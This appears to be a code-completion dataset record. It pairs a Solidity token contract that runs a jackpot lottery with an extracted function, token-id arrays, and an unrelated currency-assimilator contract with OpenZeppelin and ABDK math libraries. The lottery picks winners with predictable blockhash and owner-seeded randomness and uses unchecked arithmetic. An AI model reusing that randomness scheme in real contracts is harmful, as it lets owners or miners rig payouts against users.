uint(10)**decimals; // The seed is used each time Jackpot is distributing for generating a random number. // First seed has some value, after the every turn of the jackpot distribution will be changed uint private seed = 1; // Default seed // The maximum allowed times when jackpot amount and distribution time will be set by owner, // Used only for token sale jackpot distribution int public maxAllowedManualDistribution = 111; // Either or not clear the jackpot participants list after the Jackpot distribution bool public clearJackpotParticipantsAfterDistribution = false; // Variable that holds last actual index of jackpotParticipants collection uint private index = 0; // The list with Jackpot participants. The more times address is in the list, the more chances to win the Jackpot address[] private jackpotParticipants; event SetReservingPercentage(uint _value); event SetReservingStep(uint _value); event SetJackpotMinimumAmount(uint _value); event AddAddressToJackpotParticipants(address indexed _sender, uint _times); //Setting the reservingPercentage value, allowed only for owner function setReservingPercentage(uint _value) public onlyOwner returns (bool success) { assert(_value > 0 && _value < 100); reservingPercentage = _value; emit SetReservingPercentage(_value); return true; } //Setting the reservingStep value, allowed only for owner function setReservingStep(uint _value) public onlyOwner returns (bool success) { assert(_value > 0); reservingStep = _value; emit SetReservingStep(_value); return true; } //Setting the setJackpotMinimumAmount value, allowed only for owner function setJackpotMinimumAmount(uint _value) public onlyOwner returns (bool success) { jackpotMinimumAmount = _value; emit SetJackpotMinimumAmount(_value); return true; } //Setting the clearJackpotParticipantsAfterDistribution value, allowed only for owner function setPoliticsForJackpotParticipantsList(bool _clearAfterDistribution) public onlyOwner returns (bool success) { clearJackpotParticipantsAfterDistribution = _clearAfterDistribution; return true; } // Empty the jackpot participants list function clearJackpotParticipants() public onlyOwner returns (bool success) { index = 0; return true; } // Using this function a user transfers tokens and participates in operating jackpot // User sets the total transfer amount that includes the Jackpot reserving deposit function transferWithReserving(address _to, uint _totalTransfer) public returns (bool success) { uint netTransfer = _totalTransfer * (100 - reservingPercentage) / 100; require(balances[msg.sender] >= _totalTransfer && (_totalTransfer > netTransfer)); if (transferMain(msg.sender, _to, netTransfer) && (_totalTransfer >= reservingStep)) { processJackpotDeposit(_totalTransfer, netTransfer, msg.sender); } return true; } // Using this function a user transfers tokens and participates in operating jackpot // User sets the net value of transfer without the Jackpot reserving deposit amount function transferWithReservingNet(address _to, uint _netTransfer) public returns (bool success) { uint totalTransfer = _netTransfer * (100 + reservingPercentage) / 100; require(balances[msg.sender] >= totalTransfer && (totalTransfer > _netTransfer)); if (transferMain(msg.sender, _to, _netTransfer) && (totalTransfer >= reservingStep)) { processJackpotDeposit(totalTransfer, _netTransfer, msg.sender); } return true; } // Using this function a spender transfers tokens and make an owner of funds a participant of the operating Jackpot // User sets the total transfer amount that includes the Jackpot reserving deposit function transferFromWithReserving(address _from, address _to, uint _totalTransfer) public returns (bool success) { uint netTransfer = _totalTransfer * (100 - reservingPercentage) / 100; require(balances[_from] >= _totalTransfer && (_totalTransfer > netTransfer)); if (transferFrom(_from, _to, netTransfer) && (_totalTransfer >= reservingStep)) { processJackpotDeposit(_totalTransfer, netTransfer, _from); } return true; } // Using this function a spender transfers tokens and make an owner of funds a participatants of the operating Jackpot // User set the net value of transfer without the Jackpot reserving deposit amount function transferFromWithReservingNet(address _from, address _to, uint _netTransfer) public returns (bool success) { uint totalTransfer = _netTransfer * (100 + reservingPercentage) / 100; require(balances[_from] >= totalTransfer && (totalTransfer > _netTransfer)); if (transferFrom(_from, _to, _netTransfer) && (totalTransfer >= reservingStep)) { processJackpotDeposit(totalTransfer, _netTransfer, _from); } return true; } // Withdraw deposit of Jackpot amount and add address to Jackpot Participants List according to transaction amount function processJackpotDeposit(uint _totalTransfer, uint _netTransfer, address _participant) private returns (bool success) { addAddressToJackpotParticipants(_participant, _totalTransfer); uint jackpotDeposit = _totalTransfer - _netTransfer; balances[_participant] -= jackpotDeposit; balances[0] += jackpotDeposit; emit Transfer(_participant, 0, jackpotDeposit); return true; } // Add address to Jackpot Participants List function addAddressToJackpotParticipants(address _participant, uint _transactionAmount) private returns (bool success) { uint timesToAdd = _transactionAmount / reservingStep; for (uint i = 0; i < timesToAdd; i++){ if(index == jackpotParticipants.length) { jackpotParticipants.length += 1; } jackpotParticipants[index++] = _participant; } emit AddAddressToJackpotParticipants(_participant, timesToAdd); return true; } // Distribute jackpot. For finding a winner we use random number that is produced by multiplying a previous seed // received from previous jackpot distribution and casted to uint last available block hash. // Remainder from the received random number and total number of participants will give an index of a winner in the Jackpot participants list function distributeJackpot(uint _nextSeed) public onlyOwner returns (bool success) { assert(balances[0] >= jackpotMinimumAmount); assert(_nextSeed > 0); uint additionalSeed = uint(blockhash(block.number - 1)); uint rnd = 0; while(rnd < index) { rnd += additionalSeed * seed; } uint winner = rnd % index; balances[jackpotParticipants[winner]] += balances[0]; emit Transfer(0, jackpotParticipants[winner], balances[0]); balances[0] = 0; seed = _nextSeed; if (clearJackpotParticipantsAfterDistribution) { clearJackpotParticipants(); } return true; } // Distribute Token Sale Jackpot by minting token sale jackpot directly to 0x0 address and calling distributeJackpot function function distributeTokenSaleJackpot(uint _nextSeed, uint _amount) public onlyOwner returns (bool success) { require (maxAllowedManualDistribution > 0); if (mintTokens(0, _amount) && distributeJackpot(_nextSeed)) { maxAllowedManualDistribution--; } return true; } /** ====== ERC20 IMPLEMENTATION ====== */ // Return total supply of tokens including locked-up funds and current Jackpot deposit function totalSupply() public view returns (uint) { return _totalSupply; } // Get the balance of the specified address function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } // Transfer token to a specified address function transfer(address _to, uint _value) public returns (bool success) { require(balances[msg.sender] >= _value); return transferMain(msg.sender, _to, _value); } // Transfer tokens from one address to another function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); if (transferMain(_from, _to, _value)){ allowed[_from][msg.sender] -= _value; return true; } else { return false; } } // Main transfer function. Checking of balances is made in calling function function transferMain(address _from, address _to, uint _value) private returns (bool success) { require(_to != address(0)); assert(balances[_to] + _value >= balances[_to]); balances[_from] -= _value; balances[_to] += _value; emit Transfer(_from, _to, _value); return true; } // Approve the passed address to spend the specified amount of tokens on behalf of msg.sender function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Function to check the amount of tokens than an owner allowed to a spender function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } /** ====== LOCK-UP IMPLEMENTATION ====== */ function unlockOwnFunds() public returns (bool success) { return unlockFunds(msg.sender); } function unlockSupervisedFunds(address _from) public onlyOwner returns (bool success) { return unlockFunds(_from); } function unlockFunds(address _owner) private returns (bool success) { require(balancesLockup[_owner].unlockTime < now && balancesLockup[_owner].amount > 0); balances[_owner] += balancesLockup[_owner].amount; emit Transfer(_owner, _owner, balancesLockup[_owner].amount); balancesLockup[_owner].amount = 0; return true; } function balanceOfLockup(address _owner) public view returns (uint balance, uint unlockTime) { return (balancesLockup[_owner].amount, balancesLockup[_owner].unlockTime); } /** ====== TOKENS MINTING IMPLEMENTATION ====== */ // Mint RAcoin tokens. No more than 20,000,000,000 RAC can be minted function mintTokens(address _target, uint _mintedAmount) public onlyOwner returns (bool success) { require(_mintedAmount <= unmintedTokens); balances[_target] += _mintedAmount; unmintedTokens -= _mintedAmount; _totalSupply += _mintedAmount; emit Transfer(1, _target, _mintedAmount); return true; } // Mint RAcoin locked-up tokens // Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created function mintLockupTokens(address _target, uint _mintedAmount, uint _unlockTime) public onlyOwner returns (bool success) { require(_mintedAmount <= unmintedTokens); balancesLockup[_target].amount += _mintedAmount; balancesLockup[_target].unlockTime = _unlockTime; unmintedTokens -= _mintedAmount; _totalSupply += _mintedAmount; emit Transfer(1, _target, _mintedAmount); //TODO return true; } // Mint RAcoin tokens for token sale participants and add them to Jackpot list // Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created function mintTokensWithIncludingInJackpot(address _target, uint _mintedAmount) public onlyOwner returns (bool success) { require(maxAllowedManualDistribution > 0); if (mintTokens(_target, _mintedAmount)) { addAddressToJackpotParticipants(_target, _mintedAmount); } return true; } // Mint RAcoin tokens and approve the passed address to spend the minted amount of tokens // Using different types of minting functions has no effect on total limit of 20,000,000,000 RAC that can be created function mintTokensWithApproval(address _target, uint _mintedAmount, address _spender) public onlyOwner returns (bool success) { require(_mintedAmount <= unmintedTokens); balances[_target] += _mintedAmount; unmintedTokens -= _mintedAmount; _totalSupply += _mintedAmount; allowed[_target][_spender] += _mintedAmount; emit Transfer(1, _target, _mintedAmount); return true; } // After firing this function no more tokens can be created function stopTokenMinting() public onlyOwner returns (bool success) { unmintedTokens = 0; return true; } }
Add address to Jackpot Participants List
function addAddressToJackpotParticipants(address _participant, uint _transactionAmount) private returns (bool success) { uint timesToAdd = _transactionAmount / reservingStep; for (uint i = 0; i < timesToAdd; i++){ if(index == jackpotParticipants.length) { jackpotParticipants.length += 1; } jackpotParticipants[index++] = _participant; } emit AddAddressToJackpotParticipants(_participant, timesToAdd); return true; }
7,952,834
[ 1, 4625, 348, 7953, 560, 30, 225, 1436, 1758, 358, 804, 484, 13130, 6393, 27620, 987, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 1887, 774, 46, 484, 13130, 1988, 27620, 12, 2867, 389, 2680, 14265, 16, 2254, 389, 7958, 6275, 13, 3238, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2254, 4124, 13786, 273, 389, 7958, 6275, 342, 400, 264, 6282, 4160, 31, 203, 540, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 4124, 13786, 31, 277, 27245, 95, 203, 5411, 309, 12, 1615, 422, 525, 484, 13130, 1988, 27620, 18, 2469, 13, 288, 203, 7734, 525, 484, 13130, 1988, 27620, 18, 2469, 1011, 404, 31, 203, 5411, 289, 203, 5411, 525, 484, 13130, 1988, 27620, 63, 1615, 9904, 65, 273, 389, 2680, 14265, 31, 203, 3639, 289, 203, 203, 3639, 3626, 1436, 1887, 774, 46, 484, 13130, 1988, 27620, 24899, 2680, 14265, 16, 4124, 13786, 1769, 203, 3639, 327, 638, 31, 540, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../lib/ABDKMath64x64.sol"; import "../interfaces/IAssimilator.sol"; import "../interfaces/IOracle.sol"; contract TgbpToUsdAssimilator is IAssimilator { using ABDKMath64x64 for int128; using ABDKMath64x64 for uint256; using SafeMath for uint256; IOracle private constant oracle = IOracle(0x5c0Ab2d9b5a7ed9f470386e82BB36A3613cDd4b5); IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 private constant tgbp = IERC20(0x00000000441378008EA67F4284A57932B1c000a5); uint256 private constant DECIMALS = 1e18; function getRate() public view override returns (uint256) { (, int256 price, , , ) = oracle.latestRoundData(); return uint256(price); } // takes raw tgbp amount, transfers it in, calculates corresponding numeraire amount and returns it function intakeRawAndGetBalance(uint256 _amount) external override returns (int128 amount_, int128 balance_) { bool _transferSuccess = tgbp.transferFrom(msg.sender, address(this), _amount); require(_transferSuccess, "Curve/TGBP-transfer-from-failed"); uint256 _balance = tgbp.balanceOf(address(this)); uint256 _rate = getRate(); balance_ = ((_balance * _rate) / 1e8).divu(DECIMALS); amount_ = ((_amount * _rate) / 1e8).divu(DECIMALS); } // takes raw tgbp amount, transfers it in, calculates corresponding numeraire amount and returns it function intakeRaw(uint256 _amount) external override returns (int128 amount_) { bool _transferSuccess = tgbp.transferFrom(msg.sender, address(this), _amount); require(_transferSuccess, "Curve/TGBP-transfer-from-failed"); uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(DECIMALS); } // takes a numeraire amount, calculates the raw amount of tgbp, transfers it in and returns the corresponding raw amount function intakeNumeraire(int128 _amount) external override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(DECIMALS) * 1e8) / _rate; bool _transferSuccess = tgbp.transferFrom(msg.sender, address(this), amount_); require(_transferSuccess, "Curve/TGBP-transfer-from-failed"); } // takes a numeraire amount, calculates the raw amount of tgbp, transfers it in and returns the corresponding raw amount function intakeNumeraireLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr, int128 _amount ) external override returns (uint256 amount_) { uint256 _tgbpBal = tgbp.balanceOf(_addr); if (_tgbpBal <= 0) return 0; // DECIMALS _tgbpBal = _tgbpBal.mul(1e18).div(_baseWeight); // DECIMALS uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in DECIMALS uint256 _rate = _usdcBal.mul(DECIMALS).div(_tgbpBal); amount_ = (_amount.mulu(DECIMALS) * DECIMALS) / _rate; bool _transferSuccess = tgbp.transferFrom(msg.sender, address(this), amount_); require(_transferSuccess, "Curve/TGBP-transfer-failed"); } // takes a raw amount of tgbp and transfers it out, returns numeraire value of the raw amount function outputRawAndGetBalance(address _dst, uint256 _amount) external override returns (int128 amount_, int128 balance_) { uint256 _rate = getRate(); uint256 _tgbpAmount = ((_amount) * _rate) / 1e8; bool _transferSuccess = tgbp.transfer(_dst, _tgbpAmount); require(_transferSuccess, "Curve/TGBP-transfer-failed"); uint256 _balance = tgbp.balanceOf(address(this)); amount_ = _tgbpAmount.divu(DECIMALS); balance_ = ((_balance * _rate) / 1e8).divu(DECIMALS); } // takes a raw amount of tgbp and transfers it out, returns numeraire value of the raw amount function outputRaw(address _dst, uint256 _amount) external override returns (int128 amount_) { uint256 _rate = getRate(); uint256 _tgbpAmount = (_amount * _rate) / 1e8; bool _transferSuccess = tgbp.transfer(_dst, _tgbpAmount); require(_transferSuccess, "Curve/TGBP-transfer-failed"); amount_ = _tgbpAmount.divu(DECIMALS); } // takes a numeraire value of tgbp, figures out the raw amount, transfers raw amount out, and returns raw amount function outputNumeraire(address _dst, int128 _amount) external override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(DECIMALS) * 1e8) / _rate; bool _transferSuccess = tgbp.transfer(_dst, amount_); require(_transferSuccess, "Curve/TGBP-transfer-failed"); } // takes a numeraire amount and returns the raw amount function viewRawAmount(int128 _amount) external view override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(DECIMALS) * 1e8) / _rate; } function viewRawAmountLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr, int128 _amount ) external view override returns (uint256 amount_) { uint256 _tgbpBal = tgbp.balanceOf(_addr); if (_tgbpBal <= 0) return 0; // DECIMALS _tgbpBal = _tgbpBal.mul(1e18).div(_baseWeight); // DECIMALS uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in DECIMALS uint256 _rate = _usdcBal.mul(DECIMALS).div(_tgbpBal); amount_ = (_amount.mulu(DECIMALS) * DECIMALS) / _rate; } // takes a raw amount and returns the numeraire amount function viewNumeraireAmount(uint256 _amount) external view override returns (int128 amount_) { uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(DECIMALS); } // views the numeraire value of the current balance of the reserve, in this case tgbp function viewNumeraireBalance(address _addr) external view override returns (int128 balance_) { uint256 _rate = getRate(); uint256 _balance = tgbp.balanceOf(_addr); if (_balance <= 0) return ABDKMath64x64.fromUInt(0); balance_ = ((_balance * _rate) / 1e8).divu(DECIMALS); } // views the numeraire value of the current balance of the reserve, in this case tgbp function viewNumeraireAmountAndBalance(address _addr, uint256 _amount) external view override returns (int128 amount_, int128 balance_) { uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(DECIMALS); uint256 _balance = tgbp.balanceOf(_addr); balance_ = ((_balance * _rate) / 1e8).divu(DECIMALS); } // views the numeraire value of the current balance of the reserve, in this case tgbp // instead of calculating with chainlink's "rate" it'll be determined by the existing // token ratio // Mainly to protect LP from losing function viewNumeraireBalanceLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr ) external view override returns (int128 balance_) { uint256 _tgbpBal = tgbp.balanceOf(_addr); if (_tgbpBal <= 0) return ABDKMath64x64.fromUInt(0); uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in DECIMALS uint256 _rate = _usdcBal.mul(1e18).div(_tgbpBal.mul(1e18).div(_baseWeight)); balance_ = ((_tgbpBal * _rate) / DECIMALS).divu(1e18); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.7.0; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 